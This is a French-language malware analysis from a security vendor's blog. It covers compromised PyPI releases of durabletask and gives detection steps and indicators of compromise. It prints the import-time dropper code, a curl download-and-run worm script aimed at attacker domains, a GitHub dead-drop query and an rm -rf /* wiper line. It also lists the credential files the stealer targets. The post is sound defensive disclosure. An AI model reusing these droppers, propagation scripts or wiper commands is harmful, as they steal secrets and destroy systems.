Aikido

Le paquet durabletask de Microsoft sur PyPi a été piraté. Mini Shai Hulud frappe à nouveau… encore une fois !

Écrit par
Raphael Silva

Nous avons identifié trois versions malveillantes de tâche récurrente sur PyPI, 1.4.1, 1.4.2, et 1.4.3, qui contiennent un dropper injecté directement dans les fichiers source Python du paquet. Lorsqu'un développeur installe l'une de ces versions et importe la bibliothèque, le dropper récupère et exécute en toute discrétion une charge utile de deuxième phase à partir d'un domaine C2 créé il y a trois jours.

Cette deuxième étape est un infostealer et un ver complets. Il collecte les identifiants de tous les principaux fournisseurs cloud, gestionnaires de mots de passe et outils de développement qu'il peut trouver, chiffre les résultats avec une clé RSA contrôlée par l'attaquant et les envoie au C2. Si la machine s'exécute au sein d'AWS, il se propage à d'autres instances EC2 via SSM. S'il est dans Kubernetes, il se propage via kubectl exec. Et s'il détecte des paramètres système israéliens ou iraniens, il y a une chance sur six qu'il diffuse un son puis exécute rm -rf /*.

Cela sent les manigances de TeamPCP, mais nous ne pouvons pas en être sûrs pour l'instant.

Ce qui s'est passé

tâche récurrente est un package Python pour le Durable Task Framework, une bibliothèque d'orchestration de workflows associée à Microsoft Azure. C'est le genre de package que l'on s'attend à trouver dans des environnements Python cloud-native exécutant de l'automatisation, du CI/CD ou des charges de travail connectées à Azure, ce qui correspond exactement au type d'environnement que cette campagne vise.

À partir de la version 1.4.1, le package __init__.py a été piégé avec un dropper qui s'active au moment de l'importation :

import os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception:
        pass

Le dropper est uniquement pour Linux, complètement silencieux et s'exécute dans un processus détaché qui survit à la mort du processus parent. Le large except: pass ignore toutes les erreurs. Un développeur exécutant import durabletask pour la première fois ne verrait absolument rien.

Les versions racontent une histoire

Les trois versions contiennent le même code de dropper, mais chaque version l'a injecté dans davantage de fichiers. C'est une stratégie délibérée pour maximiser les chances qu'au moins un chemin d'importation déclenche la charge utile.

Version Fichiers infectés
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

À partir de la version 1.4.3, le dropper s'active à partir de cinq points d'entrée distincts. Un développeur qui ne touche qu'à from durabletask.entities import ... est toujours compromis. Le domaine C2, l'URL de la charge utile et la logique du dropper sont identiques au byte près sur les trois versions, le seul changement étant la couverture.

La charge utile : rope.pyz

Le dropper récupère rope.pyz depuis hxxps://check.git-service[.]com/rope.pyz. Le domaine a été enregistré le 16 mai 2026, trois jours avant cette analyse. Il est résolu via NameSilo avec un enregistrement protégé par la confidentialité.

rope.pyz est une application Python zipapp : une archive ZIP avec un __main__.py point d'entrée que Python peut exécuter directement. Il contient 19 fichiers répartis dans une structure de modules organisée.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Avant toute chose, __main__.py effectue quatre vérifications :

  1. Plateforme — se termine si ce n'est pas Linux.
  2. Locale — se termine si $LANG commence par ru. La charge utile ne s'exécutera pas sur les systèmes avec une locale russe.
  3. Nombre de cœurs CPU — se termine si os.cpu_count() <= 2. Cela neutralise la plupart des sandboxes automatisées.
  4. Dépendances — installe silencieusement cryptography via pip si non présent, avec un --break-system-packages mécanisme de repli.

Ce n'est qu'après avoir validé ces quatre points qu'il passe la main au module d'orchestration principal.

Le dead-drop FIRESCALE

Le payload se connecte d'abord à hxxps://check.git-service[.]com/v1/models. Si ce endpoint renvoie HTTP 200, le corps de la réponse est traité comme un script Python encodé en base64 et transmis à roulette.py pour exécution — c'est le canal d'activation à distance de l'attaquant.

Si le C2 principal est inaccessible, le payload se rabat sur un dead-drop basé sur GitHub :

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Il recherche dans l'API de recherche de commits de GitHub la chaîne de caractères FIRESCALE. Chaque commit correspondant est inspecté pour le motif :

FIRESCALE <base64_url>.<base64_signatue>

L'URL encodée en base64 n'est acceptée que si sa signature RSA-SHA256 est vérifiée par rapport à une clé publique de 4096 bits codée en dur. Cela signifie que seul l'attaquant — le détenteur de la clé privée correspondante — peut publier une nouvelle adresse C2 valide. L'API de recherche de GitHub devient un canal de repli résistant à la censure et authentifié cryptographiquement. Si le domaine C2 principal est saisi ou sinkholé, l'attaquant peut reprendre ses opérations en effectuant un seul commit public n'importe où sur GitHub.

Ce qu'il dérobe

La collecte s'exécute concurremment sur huit modules via ThreadPoolExecutor.

Gestionnaires de mots de passe. Le payload cible 1Password, Bitwarden, pass, et gopass. Pour chaque coffre-fort verrouillé, il tente de le déverrouiller en scannant les variables d'environnement à la recherche de motifs comme *PASS*, *SECRET*, et BW_*, en analysant les fichiers d'historique du shell pour bw unlock et op signin invocations, puis en essayant la chaîne de caractères littérale "anon" en dernier recours. S'il y pénètre, il vide tout.

Fichiers d'identifiants. Plus de 90 chemins de fichiers codés en dur sont lus. La liste est exhaustive : identifiants AWS, identifiants par défaut des applications GCP, jetons d'accès Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (chaque fichier), ~/.docker/config.json, ~/.pypirc, ~\/.npmrc, .env fichiers dans l'ensemble du répertoire personnel, fichiers d'état Terraform (qui contiennent fréquemment des secrets en clair), et configurations VPN incluant l'état Tailscale et WireGuard .conf fichiers.

La liste cible également spécifiquement les outils de développement d'IA : ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, et les configurations pour Zed, Continue, Kilo et OpenCode.

Docker. Le payload interroge le Socket Docker à /var/run/docker.sock directement, énumérant tous les conteneurs et extrayant leurs variables d'environnement. Les identifiants cloud passés comme variables d'environnement de conteneur sont un modèle courant dans les configurations CI/CD basées sur Docker.

AWS. Les identifiants sont résolus à partir des variables d'environnement, puis du service de métadonnées d'instance EC2 (IMDS), puis de tous les profils nommés dans ~/.aws/credentials. Pour chaque ensemble d'identifiants, le payload énumère AWS Secrets Manager et SSM Parameter Store dans les 19 régions AWS, y compris GovCloud, de manière concurrente. Il récupère chaque valeur de secret, avec WithDecryption: True pour SSM. Il énumère également toutes les instances EC2 gérées par SSM pour l'étape de propagation décrite ci-dessous.

Azure. La charge utile résout les jetons via les identifiants client, l'assertion JWT basée sur certificat, le cache de jetons de l'Azure CLI à l'adresse ~/.azure/accessTokens.json, ou Azure IMDS (identité gérée). Avec un jeton valide, il liste toutes les souscriptions, tous les Key Vaults dans chaque souscription, et récupère chaque secret de chaque vault.

GCP. Les identifiants sont résolus à partir de $GOOGLE_APPLICATION_CREDENTIALS, le fichier d'identifiants par défaut de l'application, ou GCP IMDS. La charge utile génère elle-même des JWT OAuth2 et récupère chaque secret de GCP Secret Manager.

Kubernetes. L'accès est résolu à partir de ~/.kube/config à travers tous les contextes, à partir des jetons de compte de service in-cluster, ou via kubectl. Si kubectl n'est pas installé, la charge utile le télécharge depuis le CDN officiel des versions de Kubernetes vers /tmp/kubectl. Chaque secret dans chaque namespace à travers chaque contexte est récupéré et décodé en base64.

HashiCorp Vault. La charge utile résout le jeton Vault à partir de $VAULT_TOKEN, ~/.vault-token, les identifiants AppRole, ou vault print token. Il parcourt ensuite récursivement tous les montages KV v1 et v2, récupérant chaque chemin de secret. La vérification SSL est désactivée pour gérer les déploiements Vault internes auto-signés.

Toutes les données collectées sont compressées avec gzip et chiffrées avec AES-256-GCM. La clé AES par session est enveloppée avec RSA-OAEP-SHA256 en utilisant la clé publique de l'opérateur codée en dur. Seul l'attaquant peut la déchiffrer.

L'exfiltration suit un mécanisme de repli à trois niveaux :

  1. POST vers hxxps://check.git-service[.]com/api/public/version
  2. POST vers une URL de la station mère résolue via le dead-drop FIRESCALE
  3. Si un jeton GitHub volé est trouvé dans les données collectées, créer un dépôt nommé aléatoirement public dépôt GitHub et télécharger le paquet chiffré sous le nom de results.json

Les noms des dépôts de repli GitHub sont tirés d'une liste de mots du folklore russe : BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, et d'autres. La nomenclature n'est pas un bruit aléatoire — c'est une empreinte d'opérateur stable.

Propagation du ver

Après avoir collecté les secrets, la charge utile se propage.

AWS SSM. Avec les instances EC2 énumérées lors de la collecte des identifiants, la charge utile envoie un ssm:SendCommand (en utilisant le AWS-RunShellScript document) à un maximum de cinq instances en ligne et non-Windows :

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Un fichier marqueur situé à ~/.cache/.sys-update-check empêche la réinfection depuis le même hôte. L'URL de la charge utile secondaire hxxps://t.m-kosche[.]com/rope.pyz sert de solution de repli si le C2 principal est hors service.

Kubernetes. Si exécuté au sein d'un cluster K8s, le payload kubectl execpropage le même script de téléchargement et d'exécution dans jusqu'à cinq pods en cours d'exécution, en ignorant celui en cours. Un marqueur distinct à ~\/.cache\/.sys-update-check-k8s suit la propagation K8s de manière indépendante.

L'effaceur de disque

Lorsque le C2 principal redevient opérationnel HTTP 200 depuis \/v1\/models, la réponse déclenche roulette.py. Ce module dispose de deux fonctionnalités : l'installation de la persistance et l'effacement des disques.

Persistance. La réponse C2 décodée en base64 est écrite dans \/usr\/bin\/pgmonitor.py (en tant que root) ou ~\/.local\/bin\/pgmonitor.py (non-root) et enregistrée comme service systemd nommé pgsql-monitor.service, décrit comme un « Moniteur PostgreSQL ». Le service redémarre automatiquement en cas d'échec.

Effaceur. Le module vérifie les paramètres système israéliens ou iraniens en inspectant $TZ des chaînes de caractères telles que Jérusalem, Tel_Aviv, et Téhéran; en lisant \/etc\/timezone et \/etc\/localtime le contenu binaire ; et en vérifiant $LANG, $LC_ALL, et $LC_MESSAGES contre he_IL ou fa_IR. Avec une probabilité d'un sur six, il exécute :

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Il télécharge un fichier audio depuis hxxps://check.git-service[.]com/audio.mp3, règle le volume système à 100 % via pactl, et le lit via mpv, puis efface le disque. L'audio précède l'effacement par conception. Ce n'est pas un processus d'arrière-plan automatisé ; l'attaquant l'active délibérément par victime en renvoyant 200 OK depuis le check-in C2.

Détection et atténuation

Si vous avez installé tâche récurrente 1.4.1, 1.4.2, ou 1.4.3, considérez l'hôte comme compromis. La charge utile s'est exécutée dès l'importation du package.

Vérifiez d'abord la présence du fichier marqueur :

~/.cache/.sys-update-check

Sa présence confirme que la logique du ver s'est exécutée sur cet hôte. Vérifiez ~\/.cache\/.sys-update-check-k8s séparément la propagation Kubernetes.

Recherchez le service de persistance :

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Bloquez et faites pivoter :

  • Tous les identifiants cloud présents sur l'hôte affecté (AWS, Azure, GCP)
  • Toutes les clés SSH sous ~/.ssh/
  • Tous les jetons de compte de service Kubernetes
  • Tous les jetons HashiCorp Vault
  • Les jetons GitHub et les PATs — et vérifiez la présence de nouveaux dépôts publics avec des noms de folklore russe créés à partir de ces jetons
  • npm, pip, et les jetons de registre de paquets
  • Tout ce qui se trouve dans ~/.docker/config.json
  • Tous les secrets de variables d'environnement qui ont été définis sur la machine
  • Contenu de tout .env fichiers dans le répertoire personnel
  • Tous les fichiers d'état Terraform sur l'hôte

Si l'hôte fonctionnait dans AWS avec des instances gérées par SSM dans le même compte, vérifiez AWS CloudTrail pour SendCommand l'activité de l'instance compromise et enquêtez sur toutes les instances qu'elle a contactées. Faites de même pour Kubernetes : vérifiez les journaux d'audit pour exec les commandes provenant du pod infecté.

Bloquez au niveau de la couche réseau :

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicateurs de compromission

Packages malveillants :

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes :

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domaines et URL :

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Enregistrement de domaine :

  • git-service.com — enregistré le 16-05-2026 (3 jours avant l'analyse), NameSilo, protégé par confidentialité

Fichiers créés sur la victime :

  • /tmp/managed.pyz — dépôt initial de la charge utile
  • ~/.cache/.sys-update-check — marqueur de propagation (artefact de détection clé)
  • ~\/.cache\/.sys-update-check-k8s — marqueur de propagation Kubernetes
  • \/usr\/bin\/pgmonitor.py ou ~\/.local\/bin\/pgmonitor.py — charge utile de persistance
  • /etc/systemd/system/pgsql-monitor.service ou ~/.config/systemd/user/pgsql-monitor.service — service de persistance
  • /tmp/kubectl — binaire kubectl téléchargé s'il n'est pas présent sur l'hôte

Chaînes de campagne :

  • FIRESCALE — chaîne de balise dead-drop dans la recherche de commits GitHub
  • pgsql-monitor.service — nom du service de persistance
  • PostgreSQL Monitor — description du service de persistance utilisée comme couverture
  • Noms de dépôts du folklore russe : BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, et autres

Comment Aikido détecte cela

Si vous êtes un utilisateur d'Aikido, consultez votre fil d'actualité central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique. Aikido effectue des rescans chaque nuit, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur d'Aikido, vous pouvez créer un compte et connecter vos dépôts. La couverture des logiciels malveillants est incluse dans le plan gratuit.

Pour une protection future, Aikido Safe Chain (open source) intercepte les commandes d'installation de paquets et les vérifie par rapport à Aikido Intel avant toute exécution.

Partager :

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.